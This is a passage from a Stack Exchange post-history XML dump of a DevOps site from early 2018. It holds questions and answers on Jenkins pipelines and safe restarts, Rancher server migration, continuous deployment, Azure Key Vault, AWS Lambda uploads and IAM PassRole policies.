ABC FIXED [...a sentence or two of details...]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://semver.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9715" PostHistoryTypeId="1" PostId="3089" RevisionGUID="c564ab71-047e-440a-8350-943a69f07569" CreationDate="2018-01-16T15:32:06.873" UserId="6098" Text="How To Automatically Publish Git Comments / Releases to Site (Continuous Deployment)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9716" PostHistoryTypeId="3" PostId="3089" RevisionGUID="c564ab71-047e-440a-8350-943a69f07569" CreationDate="2018-01-16T15:32:06.873" UserId="6098" Text="&lt;git&gt;&lt;continuous-deployment&gt;&lt;github&gt;&lt;php&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9718" PostHistoryTypeId="2" PostId="3090" RevisionGUID="fd839ac6-4acf-4066-8b0b-c83a2474ae8d" CreationDate="2018-01-16T23:45:09.720" UserId="6066" Text="Managed to solve it with the following code:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent { label &quot;master&quot;}&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        def tests = [:]&#xD;&#xA;                        for (f in findFiles(glob: '**/html/*.html')) {&#xD;&#xA;                            tests[&quot;${f}&quot;] = {&#xD;&#xA;                                node {&#xD;&#xA;                                    stage(&quot;${f}&quot;) {&#xD;&#xA;                                        echo '${f}'&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="9719" PostHistoryTypeId="50" PostId="2004" RevisionGUID="da1b825e-58a6-4119-8335-8981ce93bae4" CreationDate="2018-01-17T00:27:25.647" UserId="-1" />
  <row Id="9720" PostHistoryTypeId="2" PostId="3091" RevisionGUID="861bc5c3-8274-4e70-8845-25bf139f0ba7" CreationDate="2018-01-17T05:54:25.747" UserId="6107" Text="I have 4 Rancher servers: one for each environment: dev, sandbox, staging &amp; prod.&#xA;&#xA;3 of them are of an older Rancher 1.4 version (sandbox, staging, prod) &amp; are hosted on OVH hosting, the one left (dev) is on thr latest 1.6.14 &amp; AWS.&#xA;&#xA;I need to move 3 hosts from OVH to AWS &amp; attach all of them to the only one aws Rancher server which already has 1 dev host.&#xA;&#xA;If I stop rancher-agent on one of OVH rancher hosts &amp; reconfigure it to point to aws, then it appears there in the console, but the config for stacks &amp; etc is lost, as it’s, probably, stored in mysql of the original rancher server.&#xA;&#xA;If I deploy a host from each of the OVH rancher servers to AWS, then I’m stuck with the same problem, after I switch the new hosts agents to the only aws rancher server the configurations for stacks &amp; etc will be lost.&#xA;&#xA;Please advise on the strategy to merge all that into single aws rancher server + 4 hosts: one for each environment. I’m trying not to recreate all 3 environments on aws manually, to avoid downtime &amp; a lot of manual work.&#xA;&#xA;Thanks!&#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9721" PostHistoryTypeId="1" PostId="3091" RevisionGUID="861bc5c3-8274-4e70-8845-25bf139f0ba7" CreationDate="2018-01-17T05:54:25.747" UserId="6107" Text="Migrate Rancher host from server to server" ContentLicense="CC BY-SA 3.0" />
  <row Id="9722" PostHistoryTypeId="3" PostId="3091" RevisionGUID="861bc5c3-8274-4e70-8845-25bf139f0ba7" CreationDate="2018-01-17T05:54:25.747" UserId="6107" Text="&lt;docker&gt;&lt;rancher&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9728" PostHistoryTypeId="2" PostId="3094" RevisionGUID="2b818843-3955-4e3f-a319-454a973189fc" CreationDate="2018-01-17T09:08:01.110" UserId="2285" Text="First of all you need to support HA mode. You will need:&#xD;&#xA;&#xD;&#xA; 1. external MySQL DB (e.g. AWS RDS Aurora)&#xD;&#xA; 2. external load balancer (e.g. AWS ELB)&#xD;&#xA; 3. 2 additional Rancher Server Nodes (to support quorum of 3)&#xD;&#xA;&#xD;&#xA;Once you will be ready with external DB Rancher would ask you to backup &amp; restore his database in it. After that you'll be asked to redeploy Rancher Server with additional params for external DB connection. Then you'll be able to run two more Rancher Server Nodes (e.g. using AWS ELB).&#xD;&#xA;&#xD;&#xA;When previous steps have finished you would be able to add more Rancher Agent Nodes in AWS directly from Rancher Hosts tab. After that you can just switch off OVH nodes - payload would be transferred to AWS automagically.&#xD;&#xA;&#xD;&#xA;**Make sure to backup &amp; restore all databases or data-sensitive instances on OVH hosts.**&#xD;&#xA;&#xD;&#xA;More information such as HA Requirements etc. can be found [in documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---full-activeactive-ha" ContentLicense="CC BY-SA 3.0" />
  <row Id="9729" PostHistoryTypeId="2" PostId="3095" RevisionGUID="1f57ce4b-b356-4417-aff9-790de4d70e81" CreationDate="2018-01-17T09:37:14.437" UserId="2285" Text="If we are talking about Continuous Deployment then you need to focus on the following steps:&#xD;&#xA;&#xD;&#xA; 1. store continuously updated code&#xD;&#xA; 2. run quality assessments &#xD;&#xA; 3. run security assessments&#xD;&#xA; 4. prepare release&#xD;&#xA; 5. finish release -&gt; bump up development version&#xD;&#xA; 6. deploy release to customer's environment&#xD;&#xA;&#xD;&#xA;You use GitHub to store the code. That's great. &#xD;&#xA;All next steps might be covered with Travis CI or other CI available:&#xD;&#xA;&#xD;&#xA; - quality &amp; security assessment - separate build step with unit tests, test coverage reports, code quality check or external tool integration such as CoverityScan, XRay etc.&#xD;&#xA; - releases - common functionality in TravisCI as you can see [here][1]&#xD;&#xA; - code base versioning - might be covered using additional scripts based on GitFlow&#xD;&#xA; - deployment - if you use Heroku as PHP runtime then deployment from Travis CI would be [nice and clean][2] (for others you would probably configure more details)&#xD;&#xA;&#xD;&#xA;Good example [can be found here][3] but you need to change it in order to support PHP instead of Nodejs. Based on GitFlow btw.&#xD;&#xA;&#xD;&#xA;As for the page for your customers with software versions you can use GitHub Pages with Repository Metadata plugin. More info [here][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.travis-ci.com/user/deployment/releases/&#xD;&#xA;  [2]: https://docs.travis-ci.com/user/deployment/heroku/&#xD;&#xA;  [3]: https://codeburst.io/ci-cd-with-github-travis-ci-and-heroku-e088a24f32ef&#xD;&#xA;  [4]: https://help.github.com/articles/repository-metadata-on-github-pages/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9733" PostHistoryTypeId="2" PostId="3097" RevisionGUID="3587325d-87cb-40a3-bf18-189d8fc03b2a" CreationDate="2018-01-17T10:16:05.443" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="9734" PostHistoryTypeId="1" PostId="3097" RevisionGUID="3587325d-87cb-40a3-bf18-189d8fc03b2a" CreationDate="2018-01-17T10:16:05.443" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9735" PostHistoryTypeId="2" PostId="3098" RevisionGUID="514366d8-35b1-4569-8581-322b455931e3" CreationDate="2018-01-17T10:16:05.443" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="9736" PostHistoryTypeId="1" PostId="3098" RevisionGUID="514366d8-35b1-4569-8581-322b455931e3" CreationDate="2018-01-17T10:16:05.443" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9739" PostHistoryTypeId="5" PostId="2583" RevisionGUID="41b5e992-cbb6-4532-9f94-d4fa097aa060" CreationDate="2018-01-17T10:59:43.640" UserId="6106" Comment="fix project name" Text="As an update to this question, there is now [Kitchen-Terraform][1] which allows the testing of Terraform Configuration files without breaking production environments. The repository also includes a few [examples][2] for different Terraform providers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/newcontext-oss/kitchen-terraform&#xD;&#xA;  [2]: https://github.com/newcontext-oss/kitchen-terraform/tree/master/examples" ContentLicense="CC BY-SA 3.0" />
  <row Id="9740" PostHistoryTypeId="24" PostId="2583" RevisionGUID="41b5e992-cbb6-4532-9f94-d4fa097aa060" CreationDate="2018-01-17T10:59:43.640" Comment="Proposed by 6106 approved by 40, 397 edit id of 589" ContentLicense="CC BY-SA 3.0" />
  <row Id="9741" PostHistoryTypeId="2" PostId="3099" RevisionGUID="33e96d27-2c21-4229-9d08-3f8fb8c3b465" CreationDate="2018-01-17T11:15:10.483" UserId="397" Text="We have a multi-tiered application hosted on Microsoft Azure Virtual Machine Scale Sets composed of:&#xD;&#xA;&#xD;&#xA; - Websites (Sprint Boot)&#xD;&#xA; - API (Sprint Boot)&#xD;&#xA; - ForgeRock Access Management (Tomcat)&#xD;&#xA; - ForgeRock Identity Management (Tomcat)&#xD;&#xA; - ForgeRock Directory Services (LDAP)&#xD;&#xA;&#xD;&#xA;The desire is to store keys in Azure Key Vault as much as possible rather than rely on them being stored in images, and ideally never stored on disk at all.&#xD;&#xA;&#xD;&#xA;[![Diagram of Architecture][1]][1]&#xD;&#xA;&#xD;&#xA;Given this architecture, is it possible to configure Java to perform cryptographic operations using Azure Key Vault rather than Java Key Store or JCEKS stores:&#xD;&#xA;&#xD;&#xA; - JavaScript Web Tokens&#xD;&#xA;   - Signing / Verifying&#xD;&#xA;   - Encrypting / Decrypting&#xD;&#xA; - TLS&#xD;&#xA;   - Server TLS&#xD;&#xA;   - Mutual TLS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/rCoiQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9742" PostHistoryTypeId="1" PostId="3099" RevisionGUID="33e96d27-2c21-4229-9d08-3f8fb8c3b465" CreationDate="2018-01-17T11:15:10.483" UserId="397" Text="Security practice for storing private keys for use by Java Applications" ContentLicense="CC BY-SA 3.0" />
  <row Id="9743" PostHistoryTypeId="3" PostId="3099" RevisionGUID="33e96d27-2c21-4229-9d08-3f8fb8c3b465" CreationDate="2018-01-17T11:15:10.483" UserId="397" Text="&lt;azure&gt;&lt;encryption&gt;&lt;java&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9744" PostHistoryTypeId="2" PostId="3100" RevisionGUID="1c6a1b4d-2951-4a41-8b79-b9ba4a1e8efe" CreationDate="2018-01-17T11:16:53.053" UserId="3599" Text="So I've read through the docs at: https://docs.aws.amazon.com/lambda/latest/dg/lambda-python-how-to-create-deployment-package.html&#xD;&#xA;&#xD;&#xA;I've created the zip file, how / where do I actually upload / publish this zip file into AWS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9745" PostHistoryTypeId="1" PostId="3100" RevisionGUID="1c6a1b4d-2951-4a41-8b79-b9ba4a1e8efe" CreationDate="2018-01-17T11:16:53.053" UserId="3599" Text="How do I upload my zipped lambda code into AWS Lambda?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9746" PostHistoryTypeId="3" PostId="3100" RevisionGUID="1c6a1b4d-2951-4a41-8b79-b9ba4a1e8efe" CreationDate="2018-01-17T11:16:53.053" UserId="3599" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9747" PostHistoryTypeId="2" PostId="3101" RevisionGUID="890d834c-ffe6-4e5e-a822-a63658cc56d4" CreationDate="2018-01-17T11:20:27.173" UserId="3599" Text="Within the AWS Lamba admin:&#xD;&#xA;&#xD;&#xA;Create Function &gt; Author from Scratch&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Gezdv.jpg&#xD;&#xA;&#xD;&#xA;It's possible via the 'Code entry type' dropdown " ContentLicense="CC BY-SA 3.0" />
  <row Id="9748" PostHistoryTypeId="5" PostId="3097" RevisionGUID="66f86e11-cba6-4f2d-b278-63c06b184a36" CreationDate="2018-01-17T11:30:56.413" UserId="465" Comment="added 46 characters in body" Text="Used for questions relating to cost allocation" ContentLicense="CC BY-SA 3.0" />
  <row Id="9749" PostHistoryTypeId="24" PostId="3097" RevisionGUID="66f86e11-cba6-4f2d-b278-63c06b184a36" CreationDate="2018-01-17T11:30:56.413" Comment="Proposed by 465 approved by 397, 40 edit id of 590" ContentLicense="CC BY-SA 3.0" />
  <row Id="9750" PostHistoryTypeId="5" PostId="3098" RevisionGUID="ad2b4cc1-4e01-4d67-9dcb-7c8238433666" CreationDate="2018-01-17T11:31:09.380" UserId="465" Comment="added 46 characters in body" Text="Used for questions relating to cost allocation" ContentLicense="CC BY-SA 3.0" />
  <row Id="9751" PostHistoryTypeId="24" PostId="3098" RevisionGUID="ad2b4cc1-4e01-4d67-9dcb-7c8238433666" CreationDate="2018-01-17T11:31:09.380" Comment="Proposed by 465 approved by 397, 40 edit id of 591" ContentLicense="CC BY-SA 3.0" />
  <row Id="9752" PostHistoryTypeId="2" PostId="3102" RevisionGUID="e56ff0ab-1fb4-45d9-8e87-cbf88f0d5964" CreationDate="2018-01-17T12:12:39.313" UserId="465" Text="My coworker is trying to attach IAM roles to EC2 instances and doesn’t have permissions. I’m trying to work out which permissions to give him.&#xA;&#xA;My question is: **What is the AWS user permission that allows attaching and detaching IAM Roles to instances?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="9753" PostHistoryTypeId="1" PostId="3102" RevisionGUID="e56ff0ab-1fb4-45d9-8e87-cbf88f0d5964" CreationDate="2018-01-17T12:12:39.313" UserId="465" Text="What is the AWS user permission that allows attaching and detaching IAM Roles to instances?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9754" PostHistoryTypeId="3" PostId="3102" RevisionGUID="e56ff0ab-1fb4-45d9-8e87-cbf88f0d5964" CreationDate="2018-01-17T12:12:39.313" UserId="465" Text="&lt;amazon-ec2&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9755" PostHistoryTypeId="2" PostId="3103" RevisionGUID="b0e47790-26e2-42ac-a342-770a074cf46f" CreationDate="2018-01-17T12:13:00.633" UserId="397" Text="Virtual Machine Scale Sets (VMSSs) [don't have a SLA of their own][1]:&#xD;&#xA;&#xD;&#xA;&gt; Virtual Machine Scale Sets is a free service, therefore, it does not have a financially backed SLA itself. However, if the Virtual Machine Scale Sets includes Virtual Machines in at least 2 Fault Domains, the availability of the underlying Virtual Machines SLA for two or more instances applies. If the scale set contains a single Virtual Machine, the availability for a Single Instance Virtual Machine applies. See the Virtual Machines SLA for more details.&#xD;&#xA;&#xD;&#xA;The above statement points to the fact that VMSSs are just an orchestration layer over the top of Virtual Machines and as you quite rightly pointed out results in an availability for a VMSS of **99.95%**.&#xD;&#xA;&#xD;&#xA;In terms of the storage calculation, there are several parameters here:&#xD;&#xA;&#xD;&#xA; 1. Whether you are using Hot or Cold storage, the availability for Hot storage is 10 times that of cold storage.&#xD;&#xA; 1. Whether your application is read or write heavy, what you need to consider here is that there are separate SLAs for reading and writing.&#xD;&#xA;&#xD;&#xA;Let's make some assumptions:&#xD;&#xA;&#xD;&#xA; 1. Storage is, in general, cheep.  Therefore, only ever use the Hot Storage Tier.&#xD;&#xA; 1. Managed Disks are, in general, easier to use.  Therefore, you are limited to only using Locally Redundant Storage.&#xD;&#xA;&#xD;&#xA;With the above two assumptions your [storage SLA][2] is **99.9%**.&#xD;&#xA;&#xD;&#xA;Multiplying these two figures together you get, **99.985%**, this is still kind of low, but higher than your 98% figure above.  You can increase this number by hosting Service Fabric [across multiple regions][3]:&#xD;&#xA;&#xD;&#xA;[![Availability Diagram][4]][4]&#xD;&#xA;&#xD;&#xA;This would give you system availability close to four nines, i.e. **99.9898%**&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/support/legal/sla/virtual-machine-scale-sets/v1_1/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-gb/support/legal/sla/storage/v1_3/&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/service-fabric/service-fabric-disaster-recovery&#xD;&#xA;  [4]: https://i.stack.imgur.com/gI9ii.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9756" PostHistoryTypeId="2" PostId="3104" RevisionGUID="07f993f7-b954-4508-886b-8955cc19baca" CreationDate="2018-01-17T15:22:10.007" UserId="736" Text="I need to make some configuration changes on our Jenkins instance that will involve restarting Jenkins a couple of times. However, our developers are committing frequently enough that I haven't seen Jenkins without jobs running in three days. &#xD;&#xA;&#xD;&#xA;Is there a native way (either through the GUI or via command line) to safe-restart Jenkins? IE: wait for current jobs to finish before going down, and keep track of queued jobs to start once Jenkins comes back up. &#xD;&#xA;&#xD;&#xA;I know there's a [plugin][1] but in order to install it I need to restart Jenkins...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/SafeRestart+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="9757" PostHistoryTypeId="1" PostId="3104" RevisionGUID="07f993f7-b954-4508-886b-8955cc19baca" CreationDate="2018-01-17T15:22:10.007" UserId="736" Text="Safe Restart Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9758" PostHistoryTypeId="3" PostId="3104" RevisionGUID="07f993f7-b954-4508-886b-8955cc19baca" CreationDate="2018-01-17T15:22:10.007" UserId="736" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9759" PostHistoryTypeId="5" PostId="2583" RevisionGUID="2f0f35dc-d0cf-48a7-91ed-54ecdcb4b516" CreationDate="2018-01-17T15:27:20.330" UserId="4328" Comment="deleted 84 characters in body" Text="As an update to this question, there is now [Kitchen-Terraform][1] which allows the testing of Terraform Configuration files without breaking production environments. The repository also includes a few examples for different Terraform providers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/newcontext-oss/kitchen-terraform&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9761" PostHistoryTypeId="2" PostId="3105" RevisionGUID="0cc5a81d-9d92-4255-a7cc-06a5694c90e3" CreationDate="2018-01-17T15:33:36.390" UserId="5579" Text="Basically, continuous integration is a part of both continuous delivery and continuous deployment, except that releases happen automatically. You can also think of continuous delivery as a logical next step of continuous integration and it works across all environments. &#xD;&#xA;Continuous integration also helps with artifact verification so it can be deployed quicker. Although it is not possible to have continuous deployment without continuous integration and it is so much easier to catch bugs with continuous integration. &#xD;&#xA;All of these “continuous things” are ultimately about removing unnecessary actions in development workflow. Most importantly, CI/CD are important from both technical and business perspective. Companies who fail to adopt these DevOps principles risk going the way of the dinosaurs. In today’s fast paced IT environment it is either [DevOps or die.][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://squadex.com/insights/devops-or-die/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9762" PostHistoryTypeId="2" PostId="3106" RevisionGUID="5f71b165-2b18-40da-8730-aeb73f808577" CreationDate="2018-01-17T16:22:10.163" UserId="2728" Text="If you navigate to `$YOUR_JENKINS_URL/updateCenter/` you should see the following page: ![](https://i.imgur.com/uDQ5Th4.png)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here you can check `Restart Jenkins when installation is complete and no jobs are running` which should be fairly safe." ContentLicense="CC BY-SA 3.0" />
  <row Id="9763" PostHistoryTypeId="2" PostId="3107" RevisionGUID="d0809287-b5ae-499f-9fdb-51283f56ed20" CreationDate="2018-01-17T16:54:47.053" UserId="4328" Text="You can execute the safeRestart command using either the Jenkins Rest API (*[jenkins_url]/safeRestart*) or you can execute the command via the [Jenkins CLI][1].&#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/jenkins safeRestart&#xD;&#xA;&#xD;&#xA;&gt; Running a CLI command &#xD;&#xA;&gt;&#xD;&#xA;&gt; The general syntax is as follows (the design is&#xD;&#xA;&gt; similar to tools like svn/git):&#xD;&#xA;&gt; &#xD;&#xA;&gt; java -jar jenkins-cli.jar [-s JENKINS_URL] command [options...]&#xD;&#xA;&gt; [arguments...] &#xD;&#xA;&gt;&#xD;&#xA;&gt;JENKINS_URL can be specified via the environment&#xD;&#xA;&gt; variable $JENKINS_URL. This environment variable is automatically set&#xD;&#xA;&gt; when Jenkins fork a process during builds, which allows you to use&#xD;&#xA;&gt; Jenkins CLI from inside the build without explicitly configuring the&#xD;&#xA;&gt; URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Jenkins+CLI" ContentLicense="CC BY-SA 3.0" />
  <row Id="9764" PostHistoryTypeId="5" PostId="3107" RevisionGUID="a499aaf3-1592-40dc-a01d-e6dea7382883" CreationDate="2018-01-17T17:00:01.313" UserId="4328" Comment="added 214 characters in body" Text="You can execute the safeRestart command using either the Jenkins Rest API (*[jenkins_url]/safeRestart*) or you can execute the command via the [Jenkins CLI][1].&#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/jenkins safeRestart&#xD;&#xA;&#xD;&#xA;&gt; Running a CLI command &#xD;&#xA;&gt;&#xD;&#xA;&gt; The general syntax is as follows (the design is&#xD;&#xA;&gt; similar to tools like svn/git):&#xD;&#xA;&gt; &#xD;&#xA;&gt; java -jar jenkins-cli.jar [-s JENKINS_URL] command [options...]&#xD;&#xA;&gt; [arguments...] &#xD;&#xA;&gt;&#xD;&#xA;&gt;JENKINS_URL can be specified via the environment&#xD;&#xA;&gt; variable $JENKINS_URL. This environment variable is automatically set&#xD;&#xA;&gt; when Jenkins fork a process during builds, which allows you to use&#xD;&#xA;&gt; Jenkins CLI from inside the build without explicitly configuring the&#xD;&#xA;&gt; URL.&#xD;&#xA;&#xD;&#xA;NOTE: When running the safeRestart command, any jobs set to be executed during the restart will be queued up and executed when the server is back online. Make sure this does not cause any conflicts upon reboot :)&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Jenkins+CLI" ContentLicense="CC BY-SA 3.0" />
  <row Id="9765" PostHistoryTypeId="50" PostId="2352" RevisionGUID="640076aa-2789-4506-8e7c-088b2d17514f" CreationDate="2018-01-17T17:43:18.437" UserId="-1" />
  <row Id="9766" PostHistoryTypeId="2" PostId="3108" RevisionGUID="34b32686-9b71-4c76-8c47-3b44bc233760" CreationDate="2018-01-17T22:39:00.873" UserId="47" Text="From [Granting a User Permissions to Pass a Role to an AWS Service][1]:&#xD;&#xA;&#xD;&#xA;&gt; To pass a role (and its permissions) to an AWS service, a user must&#xD;&#xA;&gt; have permissions to *pass the role* to the service. This helps&#xD;&#xA;&gt; administrators ensure that only approved users can configure a service&#xD;&#xA;&gt; with a role that grants permissions. To allow a user to pass a role to&#xD;&#xA;&gt; an AWS service, you must grant the `PassRole` permission to the user's&#xD;&#xA;&gt; IAM user, role, or group.&#xD;&#xA;&#xD;&#xA;Is this what you're looking for? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9767" PostHistoryTypeId="2" PostId="3109" RevisionGUID="2f9d4423-59e9-4e5e-b02d-a4e5abb1fe67" CreationDate="2018-01-17T23:27:28.740" UserId="6131" Text="To create (and assign) IAM roles and permissions that user needs to have Administrator level rights within the AWS Account. You can search `admin` in `Attach existing policies directly` window in the Add permissions to &lt;&lt; user name &gt;&gt;` of the IAM Module accessible via the Console.&#xD;&#xA;&#xD;&#xA;From there look at the different levels of Administrator accounts offered by default and you can further look at the JSON provided examples to better understand the specific access rights you could begin to assign to lock down the user to only specific functions." ContentLicense="CC BY-SA 3.0" />
  <row Id="9768" PostHistoryTypeId="5" PostId="3108" RevisionGUID="6341b29b-91f9-4278-bcf7-dcefafb273f4" CreationDate="2018-01-18T03:29:17.690" UserId="47" Comment="added example" Text="From [Granting a User Permissions to Pass a Role to an AWS Service][1]:&#xD;&#xA;&#xD;&#xA;&gt; To pass a role (and its permissions) to an AWS service, a user must&#xD;&#xA;&gt; have permissions to *pass the role* to the service. This helps&#xD;&#xA;&gt; administrators ensure that only approved users can configure a service&#xD;&#xA;&gt; with a role that grants permissions. To allow a user to pass a role to&#xD;&#xA;&gt; an AWS service, you must grant the `PassRole` permission to the user's&#xD;&#xA;&gt; IAM user, role, or group.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When a user passes a role ARN as a parameter to any API that uses the&#xD;&#xA;&gt; role to assign permissions to the service, the service checks whether&#xD;&#xA;&gt; that user has the `iam:PassRole` permission. To limit the user to&#xD;&#xA;&gt; passing only approved roles, you can filter the `iam:PassRole`&#xD;&#xA;&gt; permission with the `Resources` element of the IAM policy statement.&#xD;&#xA;&#xD;&#xA;Is this what you're looking for? &#xD;&#xA;&#xD;&#xA;An example from the above-metioned page:&#xD;&#xA;&#xD;&#xA;&gt; Example 1&#xD;&#xA;&gt; &#xD;&#xA;&gt; Imagine that you want to grant a user the ability to pass any of an&#xD;&#xA;&gt; approved set of roles to the Amazon EC2 service upon launching an&#xD;&#xA;&gt; instance. You need three elements:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - An IAM *permissions policy* attached to the role that determines what the role can do. Scope permissions to only the actions that the role&#xD;&#xA;&gt; needs to perform, and to only the resources that the role needs for&#xD;&#xA;&gt; those actions. You can use AWS managed or customer-created IAM&#xD;&#xA;&gt; permissions policy.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: {&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Action&quot;: [ &quot;A list of the permissions the role is allowed to use&quot; ],&#xD;&#xA;&gt;                 &quot;Resource&quot;: [ &quot;A list of the resources the role is allowed to access&quot; ]&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         } &#xD;&#xA;&gt; &#xD;&#xA;&gt; - A *trust policy* for the role that allows the service to assume the role. For example, you could attach the following trust policy to the&#xD;&#xA;&gt; role with the `UpdateAssumeRolePolicy` action. This trust policy allows&#xD;&#xA;&gt; Amazon EC2 to use the role and the permissions attached to the role.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: {&#xD;&#xA;&gt;                 &quot;Sid&quot;: &quot;TrustPolicyStatementThatAllowsEC2ServiceToAssumeTheAttachedRole&quot;,&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Principal&quot;: { &quot;Service&quot;: &quot;ec2.amazonaws.com&quot; },&#xD;&#xA;&gt;                &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }       &#xD;&#xA;&gt; &#xD;&#xA;&gt; - An IAM *permissions policy* attached to the IAM user that allows the user to pass only those policies that are approved. `iam:PassRole`&#xD;&#xA;&gt; usually is accompanied by `iam:GetRole` so that the user can get the&#xD;&#xA;&gt; details of the role to be passed. In this example, the user can pass&#xD;&#xA;&gt; only roles that exist in the specified account with names that begin&#xD;&#xA;&gt; with `EC2-roles-for-XYZ-`:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: [{&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Action&quot;: [&#xD;&#xA;&gt;                     &quot;iam:GetRole&quot;,&#xD;&#xA;&gt;                     &quot;iam:PassRole&quot;&#xD;&#xA;&gt;                 ],&#xD;&#xA;&gt;                 &quot;Resource&quot;: &quot;arn:aws:iam::&lt;account-id&gt;:role/EC2-roles-for-XYZ-*&quot;&#xD;&#xA;&gt;             }]&#xD;&#xA;&gt;         }&#xD;&#xA;&gt; &#xD;&#xA;&gt; Now the user can start an Amazon EC2 instance with an assigned role.&#xD;&#xA;&gt; Applications running on the instance can access temporary credentials&#xD;&#xA;&gt; for the role through the instance profile metadata. The permission&#xD;&#xA;&gt; policies attached to the role determine what the instance can do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9769" PostHistoryTypeId="5" PostId="3108" RevisionGUID="6eddae5c-1399-4a10-a7d8-a1ad2372d451" CreationDate="2018-01-18T03:55:40.463" UserId="47" Comment="added procedure" Text="From [Granting a User Permissions to Pass a Role to an AWS Service][1]:&#xD;&#xA;&#xD;&#xA;&gt; To pass a role (and its permissions) to an AWS service, a user must&#xD;&#xA;&gt; have permissions to *pass the role* to the service. This helps&#xD;&#xA;&gt; administrators ensure that only approved users can configure a service&#xD;&#xA;&gt; with a role that grants permissions. To allow a user to pass a role to&#xD;&#xA;&gt; an AWS service, you must grant the `PassRole` permission to the user's&#xD;&#xA;&gt; IAM user, role, or group.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When a user passes a role ARN as a parameter to any API that uses the&#xD;&#xA;&gt; role to assign permissions to the service, the service checks whether&#xD;&#xA;&gt; that user has the `iam:PassRole` permission. To limit the user to&#xD;&#xA;&gt; passing only approved roles, you can filter the `iam:PassRole`&#xD;&#xA;&gt; permission with the `Resources` element of the IAM policy statement.&#xD;&#xA;&#xD;&#xA;Is this what you're looking for? &#xD;&#xA;&#xD;&#xA;An example from the above-metioned 